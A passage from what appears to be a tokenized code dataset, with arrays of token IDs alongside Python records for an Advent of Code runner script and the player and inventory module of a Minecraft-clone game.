4905,
1125,
13,
1678,
921,
353,
4842,
305,
29889,
11031,
29911,
6073,
4197,
29961,
29889,
29900,
29892,
869,
29900,
29892,
869,
29900,
1402,
518,
29896,
29889,
29900,
29892,
869,
29900,
29892,
869,
29900,
1402,
518,
29889,
29900,
29892,
869,
29900,
29892,
29871,
29896,
29889,
29900,
1402,
518,
29889,
29900,
29892,
29871,
29896,
29889,
29900,
29892,
869,
29900,
24960,
13,
1678,
11543,
29918,
20158,
353,
4842,
305,
29889,
15755,
29889,
2220,
284,
29889,
17987,
8497,
29898,
11618,
29918,
4905,
29892,
921,
467,
17858,
1082,
29898,
29906,
29892,
29900,
29892,
29896,
29897,
13,
1678,
736,
11543,
29918,
20158,
13,
13,
13,
1753,
17629,
29918,
1557,
2361,
29898,
28192,
362,
29892,
5962,
29918,
509,
2806,
29892,
4413,
1125,
13,
1678,
17629,
29918,
1557,
2361,
353,
5159,
13,
1678,
363,
474,
297,
3464,
29898,
29896,
29892,
13203,
29974,
29896,
1125,
13,
4706,
7581,
29918,
4141,
353,
313,
2057,
29918,
509,
2806,
1275,
474,
467,
579,
668,
29898,
9302,
29889,
13470,
29947,
29897,
13,
4706,
7581,
29918,
10199,
353,
313,
28192,
362,
1275,
474,
467,
579,
668,
29898,
9302,
29889,
13470,
29947,
29897,
13,
4706,
25869,
353,
7442,
29889,
1188,
936,
29918,
392,
29898,
19541,
29918,
4141,
29892,
7581,
29918,
10199,
29897,
13,
4706,
2533,
29918,
19541,
29918,
4141,
353,
7442,
29889,
2083,
29898,
19541,
29918,
4141,
29897,
13,
4706,
2533,
29918,
19541,
29918,
10199,
353,
7442,
29889,
2083,
29898,
19541,
29918,
10199,
29897,
13,
4706,
565,
2533,
29918,
19541,
29918,
4141,
1275,
29871,
29900,
29901,
13,
9651,
6773,
13,
4706,
770,
29918,
29881,
625,
29918,
13628,
353,
7442,
29889,
2083,
29898,
1639,
8803,
11877,
29906,
847,
313,
2083,
29918,
19541,
29918,
4141,
29974,
2083,
29918,
19541,
29918,
10199,
29897,
13,
4706,
17629,
29918,
1557,
2361,
29889,
4397,
29898,
1990,
29918,
29881,
625,
29918,
13628,
29897,
13,
1678,
17629,
29918,
1557,
2361,
353,
7442,
29889,
2378,
29898,
29881,
625,
29918,
1557,
2361,
29897,
13,
1678,
736,
17629,
29918,
1557,
2361,
13,
13,
13,
13,
13,
13,
13,
13,
1753,
1967,
29918,
16202,
29898,
2492,
1125,
13,
1678,
848,
29918,
1853,
353,
1134,
29898,
2492,
29961,
29900,
3816,
29900,
2314,
13,
1678,
10153,
29918,
2103,
353,
7442,
29889,
12181,
29898,
2492,
9601,
29900,
29962,
13,
1678,
10153,
29918,
3545,
353,
7442,
29889,
12181,
29898,
2492,
9601,
29896,
29962,
13,
1678,
4236,
29918,
29886,
861,
353,
7442,
29889,
3317,
29898,
2492,
29897,
13,
1678,
1375,
29918,
29886,
861,
353,
7442,
29889,
1195,
29898,
2492,
29897,
13,
1678,
10153,
29918,
12676,
353,
7442,
29889,
12676,
29898,
2492,
29897,
13,
1678,
10153,
29918,
4172,
353,
7442,
29889,
4172,
29898,
2492,
29897,
13,
1678,
1596,
29898,
29888,
29915,
1542,
29901,
426,
1272,
29918,
1853,
1118,
21485,
29901,
426,
2492,
29918,
2103,
1118,
22907,
29901,
426,
2492,
29918,
3545,
1118,
5918,
29901,
426,
3317,
29918,
29886,
861,
1118,
3080,
29901,
426,
1195,
29918,
29886,
861,
1118,
16316,
29901,
426,
2492,
29918,
12676,
1118,
624,
29881,
29901,
426,
2492,
29918,
4172,
29913,
1495,
13,
13,
1753,
12489,
29918,
16202,
29898,
20158,
29918,
262,
1125,
13,
1678,
12489,
353,
12489,
29918,
262,
29889,
16513,
580,
13,
1678,
12489,
353,
12489,
29889,
8896,
580,
13,
1678,
8267,
353,
12489,
29889,
12181,
13,
1678,
12489,
29918,
3317,
353,
4842,
305,
29889,
3317,
29898,
20158,
29897,
13,
1678,
12489,
29918,
1195,
353,
4842,
305,
29889,
1195,
29898,
20158,
29897,
13,
1678,
12489,
29918,
12676,
353,
4842,
305,
29889,
12676,
29898,
20158,
29897,
13,
1678,
12489,
29918,
4172,
353,
4842,
305,
29889,
4172,
29898,
20158,
29897,
13,
1678,
1596,
29898,
29888,
29908,
29911,
6073,
22663,
29901,
1383,
4085,
29901,
426,
12181,
29913,
5918,
29901,
426,
20158,
29918,
3317,
1118,
3080,
29901,
426,
20158,
29918,
1195,
1118,
16316,
29901,
426,
20158,
29918,
12676,
1118,
624,
29881,
29901,
426,
20158,
29918,
4172,
27195,
13,
13,
13,
1753,
679,
29918,
13168,
29918,
3166,
29918,
20158,
29898,
20158,
29892,
2380,
29892,
11105,
29918,
2248,
1125,
13,
1678,
12489,
29918,
6814,
353,
12489,
29889,
16513,
2141,
21970,
580,
13,
1678,
12489,
29918,
13168,
29879,
353,
12489,
29918,
6814,
29961,
2248,
29962,
13,
1678,
12489,
29918,
13168,
353,
12489,
29918,
13168,
29879,
29961,
13168,
29918,
2248,
29962,
13,
1678,
7442,
29918,
13168,
353,
12489,
29918,
13168,
29889,
23749,
580,
13,
1678,
1596,
703,
9302,
11105,
297,
679,
11105,
1159,
13,
1678,
1967,
29918,
16202,
29898,
9302,
29918,
13168,
29897,
13,
1678,
736,
7442,
29918,
13168,
13,
13,
13,
1753,
17629,
29918,
6758,
29898,
1188,
1169,
29892,
3646,
1125,
13,
1678,
1881,
353,
4842,
305,
29889,
2220,
284,
29889,
29943,
29889,
2695,
3317,
29898,
1188,
1169,
29892,
29871,
29896,
29897,
13,
1678,
10597,
353,
29871,
29896,
29889,
13,
268,
13,
1678,
1881,
353,
1881,
7503,
29892,
29896,
29892,
29901,
29892,
17531,
13,
1678,
396,
2158,
29898,
2080,
29889,
12181,
29897,
13,
1678,
396,
2158,
29898,
5182,
29889,
12181,
29897,
13,
13,
13,
1678,
565,
5066,
353,
4842,
305,
29889,
690,
14443,
29898,
2080,
29892,
8521,
29896,
29892,
876,
13,
1678,
260,
20620,
353,
3646,
29889,
1493,
6278,
29896,
29897,
13,
1678,
17686,
353,
313,
361,
5066,
334,
260,
20620,
467,
2083,
580,
13,
13,
1678,
736,
29871,
29896,
448,
5135,
29906,
29889,
334,
17686,
718,
10597,
29897,
847,
13,
795,
313,
361,
5066,
29889,
2083,
580,
718,
260,
20620,
29889,
2083,
580,
718,
10597,
876,
13,
13,
1753,
7688,
287,
29918,
17743,
1312,
29918,
6758,
29898,
6758,
29918,
9144,
29896,
29892,
6410,
29918,
9144,
29906,
29892,
7688,
29922,
29900,
29889,
29945,
1125,
13,
1678,
822,
12420,
29918,
6758,
29898,
11965,
29892,
612,
1125,
13,
4706,
736,
7688,
29930,
6758,
29918,
9144,
29896,
29898,
11965,
29892,
29979,
29897,
718,
313,
29896,
29899,
7915,
11877,
6758,
29918,
9144,
29906,
29898,
11965,
29892,
29979,
29897,
13,
1678,
736,
12420,
29918,
6758,
13,
13,
13,
13,
1753,
2099,
29918,
29881,
625,
29918,
13628,
29898,
11965,
29918,
16175,
29892,
612,
29918,
16175,
29892,
4413,
1125,
13,
1678,
4974,
29898,
11965,
29918,
16175,
29889,
2311,
29898,
29900,
29897,
1275,
612,
29918,
16175,
29889,
2311,
29898,
29900,
876,
13,
1678,
13299,
28524,
29918,
1557,
2361,
353,
7442,
29889,
3298,
359,
29898,
13203,
29897,
13,
1678,
363,
289,
29918,
13140,
297,
3464,
29898,
11965,
29918,
16175,
29889,
2311,
29898,
29900,
22164,
13,
4706,
11105,
353,
758,
2585,
29918,
517,
29918,
13168,
29898,
11965,
29918,
16175,
29892,
289,
29918,
13140,
467,
23749,
580,
13,
4706,
330,
29873,
29918,
20158,
353,
612,
29918,
16175,
29961,
29890,
29918,
13140,
1822,
16513,
580,
13,
4706,
330,
29873,
353,
330,
29873,
29918,
20158,
29889,
21970,
2141,
23749,
580,
13,
13,
4706,
9853,
29918,
29881,
625,
29918,
13628,
353,
17629,
29918,
1557,
2361,
29898,
13168,
29892,
330,
29873,
29892,
4413,
29897,
13,
13,
4706,
13299,
28524,
29918,
1557,
2361,
4619,
9853,
29918,
29881,
625,
29918,
13628,
13,
13,
1678,
1029,
29887,
29918,
29881,
625,
29918,
1557,
2361,
353,
13299,
28524,
29918,
1557,
2361,
847,
4450,
29918,
16175,
29889,
2311,
29898,
29900,
29897,
13,
1678,
1029,
29887,
29918,
29881,
625,
29918,
13628,
353,
7442,
29889,
12483,
482,
29898,
485,
29887,
29918,
29881,
625,
29918,
1557,
2361,
29897,
13,
1678,
736,
1029,
29887,
29918,
29881,
625,
29918,
13628,
29892,
1029,
29887,
29918,
29881,
625,
29918,
1557,
2361,
13,
13,
1753,
2099,
29918,
29886,
15711,
29918,
562,
2764,
4135,
29898,
11965,
29918,
16175,
29892,
612,
29918,
16175,
1125,
13,
1678,
736,
313,
11965,
29918,
16175,
29889,
1191,
3317,
29898,
6229,
29922,
29896,
29897,
1275,
612,
29918,
16175,
29889,
29883,
6191,
16655,
7411,
2141,
12676,
580,
13,
13,
1753,
9853,
29918,
517,
29918,
2492,
29898,
29916,
29890,
29892,
22645,
1125,
13,
1678,
10153,
353,
7442,
29889,
2378,
29898,
29916,
29890,
29961,
13140,
29892,
29900,
29901,
29941,
2314,
13,
1678,
736,
10153,
29889,
3286,
4220,
3552,
29896,
29892,
29906,
29892,
29900,
876,
13,
13,
1753,
758,
2585,
29918,
517,
29918,
13168,
29898,
11965,
29918,
16175,
29892,
22645,
1125,
13,
1678,
282,
353,
4842,
305,
29889,
2220,
284,
29889,
29943,
29889,
2695,
3317,
29898,
11965,
29918,
16175,
29961,
13140,
1402,
29871,
29900,
29897,
13,
1678,
736,
282,
29889,
1191,
3317,
29898,
29900,
467,
21970,
580,
13,
13,
13,
2
] |
calendar_aoc.py | Panurus/aoc_2021 | 0 | 148163 | import day1, day2, day3, day4, day5, day6
if __name__ == "__main__":
day1.main()
day2.main()
day3.main()
day4.main()
day5.main()
day6.main() | [
1,
1053,
2462,
29896,
29892,
2462,
29906,
29892,
2462,
29941,
29892,
2462,
29946,
29892,
2462,
29945,
29892,
2462,
29953,
13,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
1678,
2462,
29896,
29889,
3396,
580,
13,
1678,
2462,
29906,
29889,
3396,
580,
13,
1678,
2462,
29941,
29889,
3396,
580,
13,
1678,
2462,
29946,
29889,
3396,
580,
13,
1678,
2462,
29945,
29889,
3396,
580,
13,
1678,
2462,
29953,
29889,
3396,
580,
2
] |
mods/mcpython/player.py | uuk0/mcpython-a-minecraft-clone-in-python | 2 | 154230 | from moduls import *
from oredictnames import *
from Inventorys import *
import Item
import crafting as cb
import config
from Inventorys import *
from Inventorys.Inventory import Slot, handler as invhandler, InventoryHandler
import EventHandler
import entity
class player:
def __init__(self, window):
self.inventory = PlayerInventory(window, self)
self.mode = 1 # 0:nichts, 1:hotbar, 2:survival_inventory, 3:creativ_inventory, 4: creativ_tab [self.creativ_tab_id], 5: crafting_table
self.gamemode = config.CONFIGS[
"DEFAULT_GAMEMODE"
] # 0:surivival, 1:creativ, 2:hardcore, 3:spectator
self.falling = False
self.fallhigh = 0
self.harts = 20
self.hartholder = PlayerHartHandler(self)
self.window = window
self.creativ_tab_id = None
self.block = None
invhandler.show(0)
self.dimension = 0
self.inventorys = [
self.inventory.hotbar,
self.inventory.rows,
self.inventory.armor,
self.inventory.crafting,
]
self.xp = 0
self.hunger = 8
self.model = entity.PlayerModel(self.window.position)
self.model.player = self
EventHandler.eventhandler.on_event("on_draw_3D", self.model.eventdraw)
EventHandler.eventhandler.on_event("on_player_move", self.model.eventmove)
def addToFreePlace(self, name, amount=1, start=0):
if type(name) == list:
for i, e in enumerate(name):
self.addToFreePlace(e, amount[i], start)
return True
for i in self.inventorys:
for e in i.slots:
if e.id < start:
pass
elif e.item and e.item.getName() == name:
if e.amount + amount - 1 < e.item.getMaxStackSize():
e.amount += amount
return True
elif e.amount < e.item.getMaxStackSize():
amount = amount - (e.item.getMaxStackSize() - e.amount)
e.amount = e.item.getMaxStackSize()
for i in self.inventorys:
for e in i.slots:
if e.id < start:
pass
elif not e.item:
print("setting ", 1)
e.setItem(name)
if e.item.getMaxStackSize() < amount and False:
e.amount = e.item.getMaxStackSize()
amount -= e.item.getMaxStackSize()
else:
e.amount = amount
return True
print("[ERROR] no inventor place found")
return False
def setPlace(self, id, name):
invhandler.sfromid[id].setItem(name)
def getPlace(self, id):
return invhandler.sfromid[id].item
def getSlot(self, id):
return invhandler.inventoryslotsinst[id]
def update(self):
if self.harts == 0 and self.gamemode != 3 and self.gamemode != 1:
self.window.kill("player hearts go down")
class PlayerInventory:
def __init__(self, window, master):
self.window = window
self.master = master
self.hotbar = player_hotbar.hotbar()
self.rows = player_rows.rows()
self.armor = player_armor.armor()
self.crafting = player_crafting.crafting()
self.moving_slot = None
self.moving_start = None
self.none_slot = Slot(0, 0)
def draw(self):
pass
def resetMovingSlot(self):
self.moving_slot.setPos(*self.moving_start)
def on_mouse_press(self, eventname, x, y, button, modifiers):
if button == mouse.LEFT:
if not self.moving_slot:
# self.moving_slot = self.none_slot
self.moving_slot = self.getPress(x, y)
if self.moving_slot:
if invhandler.inventoryslotsinst[self.moving_slot.id].item:
self.moving_start = (
invhandler.inventoryslotsinst[self.moving_slot.id].x,
invhandler.inventoryslotsinst[self.moving_slot.id].y,
)
self.moving_slot = invhandler.inventoryslotsinst[
self.moving_slot.id
]
else:
self.moving_slot = None
else:
self.moving_slot = None
else:
end = self.getPress(x, y)
if end and end.mode == "o":
return
if end == None:
(self.moving_slot.x, self.moving_slot.y) = self.moving_start
self.moving_slot = None
return
itemA = self.moving_slot.item
itemB = end.item
amountA = self.moving_slot.amount
amountB = end.amount
if (
self.moving_slot == self.crafting.slots[4]
or self.moving_slot.stid == "minecraft:slot:crafting_table:out"
):
cb.craftinghandler.removeOutput_player(self.master)
self.moving_slot.x, self.moving_slot.y = 531, 287
self.resetMovingSlot()
if end.id in list(range(0, 9)):
self.rows.slots[end.id].setItem(end.item)
self.rows.slots[end.id].amount = end.amount
if not itemB:
end.setItem(itemA)
end.amount = amountA
self.resetMovingSlot()
self.moving_slot.setItem(None)
self.moving_slot = None
cb.craftinghandler.updateOutput_player(self.master)
return
elif itemA and itemB and itemA.getName() == itemB.getName():
if amountA + amountB <= itemA.getMaxStackSize():
end.amount = amountA + amountB
self.resetMovingSlot()
self.moving_slot.item = None
self.moving_slot = None
cb.craftinghandler.updateOutput_player(self.master)
return
else:
d = itemA.getMaxStackSize() - end.amount
end.amount = itemA.getMaxStackSize()
self.moving_slot.amount -= d
cb.craftinghandler.updateOutput_player(self.master)
return
else:
end.setItem(itemA)
end.amount = amountA
self.moving_slot.setItem(itemB)
self.moving_slot.amount = amountB
self.moving_slot = None
cb.craftinghandler.updateOutput_player(self.master)
return
elif button == mouse.RIGHT:
if self.moving_slot:
slot = self.getPress(x, y)
if slot and (
(
slot.item
and slot.item.getName() == self.moving_slot.item.getName()
)
or not slot.item
):
if slot.amount + 1 <= self.moving_slot.item.getMaxStackSize():
slot.amount += 1
slot.setItem(self.moving_slot.item.getName())
self.moving_slot.amount -= 1
if self.moving_slot.amount == 0:
self.moving_slot.x, self.moving_slot.y = self.moving_start
self.moving_slot = None
cb.craftinghandler.updateOutput_player(self.master)
elif (
button == mouse.MIDDLE
and not self.moving_slot
and self.master.gamemode == 1
):
slot = self.getPress(x, y)
if not slot.item:
return
self.moving_slot = self.none_slot
self.moving_start = (0, 0)
self.moving_slot.setItem(slot.item)
self.moving_slot.amount = slot.item.getMaxStackSize()
def on_mouse_motion(self, eventname, x, y, dx, dy):
if self.moving_slot:
self.moving_slot.x, self.moving_slot.y = x, y
def on_mouse_release(self, x, y, button, modifiers):
pass
def getPress(self, x, y, debug=False):
self.scor = []
for e in invhandler.shown:
for e in invhandler.inventoryinst[e].slots:
self.scor.append(e)
slothigh, slotwight = 50, 40
for s in self.scor:
if x >= s.x:
if x <= s.x + slotwight:
if y >= s.y:
if y <= s.y + slothigh:
if self.moving_slot == None or self.moving_slot.id != s.id:
return s
elif debug:
print(5, s, s.id)
elif debug:
print(4, s, s.id)
elif debug:
print(3, s, s.id)
elif debug:
print(2, s, s.id)
elif debug:
print(1, s, s.id)
return None
def on_shift(self):
pass
playerinst = None
import texturGroups
class PlayerHartHandler:
def __init__(self, player):
self.player = player
res = texturGroups.handler.groups["./assets/textures/gui/icons/harts_no.png"]
self.sprites = [
pyglet.sprite.Sprite(res),
pyglet.sprite.Sprite(res),
pyglet.sprite.Sprite(res),
pyglet.sprite.Sprite(res),
pyglet.sprite.Sprite(res),
pyglet.sprite.Sprite(res),
pyglet.sprite.Sprite(res),
pyglet.sprite.Sprite(res),
pyglet.sprite.Sprite(res),
pyglet.sprite.Sprite(res),
] # pyglet.sprite.Sprite(texturGroups.handler.groups[imagefile])
for i, e in enumerate(self.sprites):
x = i * 20 + 190
y = 80
e.position = (x, y)
def draw(self):
if self.player.gamemode == 1 or self.player.gamemode == 3:
return
harts = self.player.harts
for i, e in enumerate(self.sprites):
if 2 * (i + 1) > harts:
e.image = texturGroups.handler.groups[
"./assets/textures/gui/icons/harts_no.png"
]
elif i * 2 < harts or (harts % 2 == 0 and i * 2 == harts):
e.image = texturGroups.handler.groups[
"./assets/textures/gui/icons/hart_full.png"
]
else:
e.image = texturGroups.handler.groups[
"./assets/textures/gui/icons/hart_half.png"
]
e.draw()
| [
1,
515,
878,
7273,
1053,
334,
13,
13,
3166,
470,
287,
919,
7039,
1053,
334,
13,
13,
3166,
512,
23886,
29879,
1053,
334,
13,
13,
5215,
10976,
13,
13,
5215,
25554,
292,
408,
26324,
13,
5215,
2295,
13,
13,
3166,
512,
23886,
29879,
1053,
334,
13,
3166,
512,
23886,
29879,
29889,
797,
23886,
1053,
317,
8276,
29892,
7834,
408,
2437,
13789,
29892,
512,
23886,
4598,
13,
13,
5215,
6864,
4598,
13,
5215,
7855,
13,
13,
13,
1990,
4847,
29901,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
3474,
1125,
13,
4706,
1583,
29889,
262,
23886,
353,
14574,
797,
23886,
29898,
7165,
29892,
1583,
29897,
13,
4706,
1583,
29889,
8513,
353,
29871,
29896,
29871,
396,
29871,
29900,
29901,
29876,
17815,
29892,
29871,
29896,
29901,
8711,
1646,
29892,
29871,
29906,
29901,
7610,
29894,
2561,
29918,
262,
23886,
29892,
29871,
29941,
29901,
1037,
1926,
29918,
262,
23886,
29892,
29871,
29946,
29901,
907,
1926,
29918,
3891,
518,
1311,
29889,
1037,
1926,
29918,
3891,
29918,
333,
1402,
29871,
29945,
29901,
25554,
292,
29918,
2371,
13,
4706,
1583,
29889,
29887,
314,
331,
356,
353,
2295,
29889,
6007,
3738,
10749,
29961,
13,
9651,
376,
23397,
29918,
12739,
2303,
20387,
29908,
13,
4706,
4514,
29871,
396,
29871,
29900,
29901,
7610,
440,
2561,
29892,
29871,
29896,
29901,
1037,
1926,
29892,
29871,
29906,
29901,
6800,
3221,
29892,
29871,
29941,
29901,
21494,
1061,
13,
4706,
1583,
29889,
11950,
292,
353,
7700,
13,
4706,
1583,
29889,
11950,
9812,
353,
29871,
29900,
13,
4706,
1583,
29889,
29882,
5708,
353,
29871,
29906,
29900,
13,
4706,
1583,
29889,
8222,
386,
3194,
353,
14574,
29950,
442,
4598,
29898,
1311,
29897,
13,
4706,
1583,
29889,
7165,
353,
3474,
13,
4706,
1583,
29889,
1037,
1926,
29918,
3891,
29918,
333,
353,
6213,
13,
4706,
1583,
29889,
1271,
353,
6213,
13,
4706,
2437,
13789,
29889,
4294,
29898,
29900,
29897,
13,
4706,
1583,
29889,
6229,
2673,
353,
29871,
29900,
13,
4706,
1583,
29889,
262,
23886,
29879,
353,
518,
13,
9651,
1583,
29889,
262,
23886,
29889,
8711,
1646,
29892,
13,
9651,
1583,
29889,
262,
23886,
29889,
5727,
29892,
13,
9651,
1583,
29889,
262,
23886,
29889,
2817,
272,
29892,
13,
9651,
1583,
29889,
262,
23886,
29889,
17293,
292,
29892,
13,
4706,
4514,
13,
13,
4706,
1583,
29889,
26330,
353,
29871,
29900,
13,
4706,
1583,
29889,
18808,
261,
353,
29871,
29947,
13,
4706,
1583,
29889,
4299,
353,
7855,
29889,
9075,
3195,
29898,
1311,
29889,
7165,
29889,
3283,
29897,
13,
4706,
1583,
29889,
4299,
29889,
9106,
353,
1583,
13,
4706,
6864,
4598,
29889,
3696,
13789,
29889,
265,
29918,
3696,
703,
265,
29918,
4012,
29918,
29941,
29928,
613,
1583,
29889,
4299,
29889,
3696,
4012,
29897,
13,
4706,
6864,
4598,
29889,
3696,
13789,
29889,
265,
29918,
3696,
703,
265,
29918,
9106,
29918,
11631,
613,
1583,
29889,
4299,
29889,
3696,
11631,
29897,
13,
13,
1678,
822,
788,
1762,
20475,
22150,
29898,
1311,
29892,
1024,
29892,
5253,
29922,
29896,
29892,
1369,
29922,
29900,
1125,
13,
4706,
565,
1134,
29898,
978,
29897,
1275,
1051,
29901,
13,
9651,
363,
474,
29892,
321,
297,
26985,
29898,
978,
1125,
13,
18884,
1583,
29889,
1202,
1762,
20475,
22150,
29898,
29872,
29892,
5253,
29961,
29875,
1402,
1369,
29897,
13,
9651,
736,
5852,
13,
4706,
363,
474,
297,
1583,
29889,
262,
23886,
29879,
29901,
13,
9651,
363,
321,
297,
474,
29889,
2536,
1862,
29901,
13,
18884,
565,
321,
29889,
333,
529,
1369,
29901,
13,
462,
1678,
1209,
13,
18884,
25342,
321,
29889,
667,
322,
321,
29889,
667,
29889,
19629,
580,
1275,
1024,
29901,
13,
462,
1678,
565,
321,
29889,
14506,
718,
5253,
448,
29871,
29896,
529,
321,
29889,
667,
29889,
657,
7976,
7264,
3505,
7295,
13,
462,
4706,
321,
29889,
14506,
4619,
5253,
13,
462,
4706,
736,
5852,
13,
462,
1678,
25342,
321,
29889,
14506,
529,
321,
29889,
667,
29889,
657,
7976,
7264,
3505,
7295,
13,
462,
4706,
5253,
353,
5253,
448,
313,
29872,
29889,
667,
29889,
657,
7976,
7264,
3505,
580,
448,
321,
29889,
14506,
29897,
13,
462,
4706,
321,
29889,
14506,
353,
321,
29889,
667,
29889,
657,
7976,
7264,
3505,
580,
13,
4706,
363,
474,
297,
1583,
29889,
262,
23886,
29879,
29901,
13,
9651,
363,
321,
297,
474,
29889,
2536,
1862,
29901,
13,
18884,
565,
321,
29889,
333,
529,
1369,
29901,
13,
462,
1678,
1209,
13,
18884,
25342,
451,
321,
29889,
667,
29901,
13,
462,
1678,
1596,
703,
26740,
9162,
29871,
29896,
29897,
13,
462,
1678,
321,
29889,
842,
2001,
29898,
978,
29897,
13,
462,
1678,
565,
321,
29889,
667,
29889,
657,
7976,
7264,
3505,
580,
529,
5253,
322,
7700,
29901,
13,
462,
4706,
321,
29889,
14506,
353,
321,
29889,
667,
29889,
657,
7976,
7264,
3505,
580,
13,
462,
4706,
5253,
22361,
321,
29889,
667,
29889,
657,
7976,
7264,
3505,
580,
13,
462,
1678,
1683,
29901,
13,
462,
4706,
321,
29889,
14506,
353,
5253,
13,
462,
4706,
736,
5852,
13,
4706,
1596,
703,
29961,
11432,
29962,
694,
11817,
272,
2058,
1476,
1159,
13,
4706,
736,
7700,
13,
13,
1678,
822,
731,
22150,
29898,
1311,
29892,
1178,
29892,
1024,
1125,
13,
4706,
2437,
13789,
29889,
29879,
3166,
333,
29961,
333,
1822,
842,
2001,
29898,
978,
29897,
13,
13,
1678,
822,
679,
22150,
29898,
1311,
29892,
1178,
1125,
13,
4706,
736,
2437,
13789,
29889,
29879,
3166,
333,
29961,
333,
1822,
667,
13,
13,
1678,
822,
679,
29903,
8276,
29898,
1311,
29892,
1178,
1125,
13,
4706,
736,
2437,
13789,
29889,
262,
23886,
2536,
1862,
2611,
29961,
333,
29962,
13,
13,
1678,
822,
2767,
29898,
1311,
1125,
13,
4706,
565,
1583,
29889,
29882,
5708,
1275,
29871,
29900,
322,
1583,
29889,
29887,
314,
331,
356,
2804,
29871,
29941,
322,
1583,
29889,
29887,
314,
331,
356,
2804,
29871,
29896,
29901,
13,
9651,
1583,
29889,
7165,
29889,
21174,
703,
9106,
26490,
748,
1623,
1159,
13,
13,
13,
1990,
14574,
797,
23886,
29901,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
3474,
29892,
5835,
1125,
13,
4706,
1583,
29889,
7165,
353,
3474,
13,
4706,
1583,
29889,
6207,
353,
5835,
13,
4706,
1583,
29889,
8711,
1646,
353,
4847,
29918,
8711,
1646,
29889,
8711,
1646,
580,
13,
4706,
1583,
29889,
5727,
353,
4847,
29918,
5727,
29889,
5727,
580,
13,
4706,
1583,
29889,
2817,
272,
353,
4847,
29918,
2817,
272,
29889,
2817,
272,
580,
13,
4706,
1583,
29889,
17293,
292,
353,
4847,
29918,
17293,
292,
29889,
17293,
292,
580,
13,
4706,
1583,
29889,
13529,
292,
29918,
2536,
327,
353,
6213,
13,
4706,
1583,
29889,
13529,
292,
29918,
2962,
353,
6213,
13,
4706,
1583,
29889,
9290,
29918,
2536,
327,
353,
317,
8276,
29898,
29900,
29892,
29871,
29900,
29897,
13,
13,
1678,
822,
4216,
29898,
1311,
1125,
13,
4706,
1209,
13,
13,
1678,
822,
10092,
29924,
21081,
29903,
8276,
29898,
1311,
1125,
13,
4706,
1583,
29889,
13529,
292,
29918,
2536,
327,
29889,
842,
9135,
10456,
1311,
29889,
13529,
292,
29918,
2962,
29897,
13,
13,
1678,
822,
373,
29918,
15769,
29918,
2139,
29898,
1311,
29892,
1741,
978,
29892,
921,
29892,
343,
29892,
2826,
29892,
878,
14903,
1125,
13,
4706,
565,
2826,
1275,
9495,
29889,
28024,
29901,
13,
9651,
565,
451,
1583,
29889,
13529,
292,
29918,
2536,
327,
29901,
13,
18884,
396,
1583,
29889,
13529,
292,
29918,
2536,
327,
353,
1583,
29889,
9290,
29918,
2536,
327,
13,
18884,
1583,
29889,
13529,
292,
29918,
2536,
327,
353,
1583,
29889,
657,
10923,
29898,
29916,
29892,
343,
29897,
13,
18884,
565,
1583,
29889,
13529,
292,
29918,
2536,
327,
29901,
13,
462,
1678,
565,
2437,
13789,
29889,
262,
23886,
2536,
1862,
2611,
29961,
1311,
29889,
13529,
292,
29918,
2536,
327,
29889,
333,
1822,
667,
29901,
13,
462,
4706,
1583,
29889,
13529,
292,
29918,
2962,
353,
313,
13,
462,
9651,
2437,
13789,
29889,
262,
23886,
2536,
1862,
2611,
29961,
1311,
29889,
13529,
292,
29918,
2536,
327,
29889,
333,
1822,
29916,
29892,
13,
462,
9651,
2437,
13789,
29889,
262,
23886,
2536,
1862,
2611,
29961,
1311,
29889,
13529,
292,
29918,
2536,
327,
29889,
333,
1822,
29891,
29892,
13,
462,
4706,
1723,
13,
462,
4706,
1583,
29889,
13529,
292,
29918,
2536,
327,
353,
2437,
13789,
29889,
262,
23886,
2536,
1862,
2611,
29961,
13,
462,
9651,
1583,
29889,
13529,
292,
29918,
2536,
327,
29889,
333,
13,
462,
4706,
4514,
13,
462,
1678,
1683,
29901,
13,
462,
4706,
1583,
29889,
13529,
292,
29918,
2536,
327,
353,
6213,
13,
18884,
1683,
29901,
13,
462,
1678,
1583,
29889,
13529,
292,
29918,
2536,
327,
353,
6213,
13,
9651,
1683,
29901,
13,
18884,
1095,
353,
1583,
29889,
657,
10923,
29898,
29916,
29892,
343,
29897,
13,
18884,
565,
1095,
322,
1095,
29889,
8513,
1275,
376,
29877,
1115,
13,
462,
1678,
736,
13,
18884,
565,
1095,
1275,
6213,
29901,
13,
462,
1678,
313,
1311,
29889,
13529,
292,
29918,
2536,
327,
29889,
29916,
29892,
1583,
29889,
13529,
292,
29918,
2536,
327,
29889,
29891,
29897,
353,
1583,
29889,
13529,
292,
29918,
2962,
13,
462,
1678,
1583,
29889,
13529,
292,
29918,
2536,
327,
353,
6213,
13,
462,
1678,
736,
13,
18884,
2944,
29909,
353,
1583,
29889,
13529,
292,
29918,
2536,
327,
29889,
667,
13,
18884,
2944,
29933,
353,
1095,
29889,
667,
13,
18884,
5253,
29909,
353,
1583,
29889,
13529,
292,
29918,
2536,
327,
29889,
14506,
13,
18884,
5253,
29933,
353,
1095,
29889,
14506,
13,
18884,
565,
313,
13,
462,
1678,
1583,
29889,
13529,
292,
29918,
2536,
327,
1275,
1583,
29889,
17293,
292,
29889,
2536,
1862,
29961,
29946,
29962,
13,
462,
1678,
470,
1583,
29889,
13529,
292,
29918,
2536,
327,
29889,
303,
333,
1275,
376,
24669,
17293,
29901,
2536,
327,
29901,
17293,
292,
29918,
2371,
29901,
449,
29908,
13,
462,
1125,
13,
462,
1678,
26324,
29889,
17293,
292,
13789,
29889,
5992,
6466,
29918,
9106,
29898,
1311,
29889,
6207,
29897,
13,
462,
1678,
1583,
29889,
13529,
292,
29918,
2536,
327,
29889,
29916,
29892,
1583,
29889,
13529,
292,
29918,
2536,
327,
29889,
29891,
353,
29871,
29945,
29941,
29896,
29892,
29871,
29906,
29947,
29955,
13,
462,
1678,
1583,
29889,
12071,
29924,
21081,
29903,
8276,
580,
13,
18884,
565,
1095,
29889,
333,
297,
1051,
29898,
3881,
29898,
29900,
29892,
29871,
29929,
22164,
13,
462,
1678,
1583,
29889,
5727,
29889,
2536,
1862,
29961,
355,
29889,
333,
1822,
842,
2001,
29898,
355,
29889,
667,
29897,
13,
462,
1678,
1583,
29889,
5727,
29889,
2536,
1862,
29961,
355,
29889,
333,
1822,
14506,
353,
1095,
29889,
14506,
13,
18884,
565,
451,
2944,
29933,
29901,
13,
462,
1678,
1095,
29889,
842,
2001,
29898,
667,
29909,
29897,
13,
462,
